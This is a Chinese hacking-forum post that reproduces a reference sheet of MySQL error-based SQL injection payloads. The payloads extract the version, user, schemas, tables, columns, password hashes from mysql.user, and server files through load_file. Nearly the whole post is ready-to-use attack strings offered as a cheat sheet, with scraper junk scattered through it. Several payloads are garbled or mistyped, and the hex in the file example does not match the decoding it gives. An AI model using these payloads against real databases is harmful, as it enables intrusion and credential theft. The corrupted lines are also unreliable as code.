Mysql暴错注入参考（pdf）

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本帖最后由 Nightmare 于 2013-3-17 14:20 编辑
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Mysql暴错注入参考（pdf），每天一贴。。。

MySql Error Based Injection Reference
0 B; ]) B" t7 g+ s" Y  _[Mysql暴错注入参考]
; F, S' e( \: {- I4 GAuthornig0s1992
Blog:http://pnig0s1992.blog.51cto.com/
8 N0 G' S5 W" `4 HTeAm:http://www.FreeBuf.com/
Mysql5.0.91下测试通过,对于5+的绝大部分版本可以测试成功
0 v* j4 p( U" ]: G小部分版本使用name_const()时会报错.可以用给出的Method.2测试
9 J' h% g/ C6 C4 {2 }查询版本:
: D, ]1 b5 l' IMethod.1:and+exists(select*from+(select*from(select+name_const(@@version,0))a+
join+(select+name_const(@@version,0))b)c)
Method.2:and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(SELECT+version()))a+from+information_schema.tables+gro
up by a)b)
查询当前用户:
Method.1:and+exists(select*from+(select*from(select+name_const(user(),0))a+join+(select+name_const(user(),0))b)c)
Method.2:and+(select+1+from(select+count(*),concat((select+(select+user())+from+information_schema.tables+limit+0,1).floor(r
# }0 T/ q& k" w+ A" mand(0)*2))x+from+information_schema.tables+group+by+x)a)
6 v) V2 q# ]$ F, o/ Y查询当前数据库:
) C/ n! `1 E- A) P6 t, UMethod.1:and+exists(select*from+(select*from(select+name_const(database(),0))a+join+(select+name_const(database(),0))b)c)
4 _0 f' O! i1 A1 _5 n3 vMethod.2:and+(select+1+from(select+count(*),concat((select+(select+database())+from+information_schema.tables+limit+0,1).flo
or(rand(0)*2))x+from+information_schema.tables+group+by+x)a)
. x3 G2 o, Y; V1 l1 ^: S( A依次爆库and+exists(select*from+(select*from(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+
LIMIT+n,1),0))a+join+(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+LIMIT+n,1),0))b)c) 将n
顺序替换
( p7 I) y- j9 N) F/ u! e爆指定库数目:
2 ^& j: M7 v. y9 Sand+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(table_name)+FROM+`information_schema`.tables+WHERE+t
" l# i; R8 ]6 S! {# eable_schema=0x6D7973716C))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group
! e% h) M3 Z1 f5 @) N. s+by+x)a)+and+1=1 0x6D7973716C=mysql
& l+ {0 t% I$ y) ^& ~依次爆表:
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+table_name+FROM+information_schema.tables+Where+t
able_schema=0x6D7973716C+limit+n,1))+from+information_schema.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.ta
! S, n) d* g" ?2 |4 O4 ^bles+group+by+x)a)+and+1=1
0x6D7973716C=Mysql 将n顺序替换
爆表内字段数目:
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(column_name)+FROM+`information_schema`.columns+WHERE
: z% F% \. p0 K+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976))+from+information_schema.tables+limit+0,1),floor(ran
0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1
依次爆字段:
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+column_name+FROM+information_schema.columns+Where
+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976+limit+n,1))+from+information_schema.tables+limit+0,1
: ]7 z* V" R) Z5 f; V6 bloor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1  将n顺序替换
8 D7 u8 z/ n3 h# @& y6 A- r依次暴内容:
and+(select+1+from(select+count(*),concat((select+(select+(select+password+from+mysql.user+limit+n,1))+from+information_sche
/ F* `7 h5 Q0 h* cma.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1
将n顺序替换
) _: L0 Y5 J9 |- u6 x爆文件内容:
and+(SELECT+1+FROM+(select count(*),concat(floor(rand(0)*2),(SELECT+substring(load_file(0x433A5C5C746573742E617361),1,64)))a
  ^9 M- b, n- b7 rfrom+information_schema.tables+group+by+a)b)
6 h' V9 A/ B  W5 I. q, F3 _! Y0x433A5C5C626F6F742E696E69=C:\\boot.ini 因为只能爆出64字节的内容,需要用Substring()控制显示的字节
) [# Z& V2 c3 X7 b* k9 F/ [Thx for reading.

; b& g5 V, o$ m) o1 L5 V% [5 g不要下载也可以，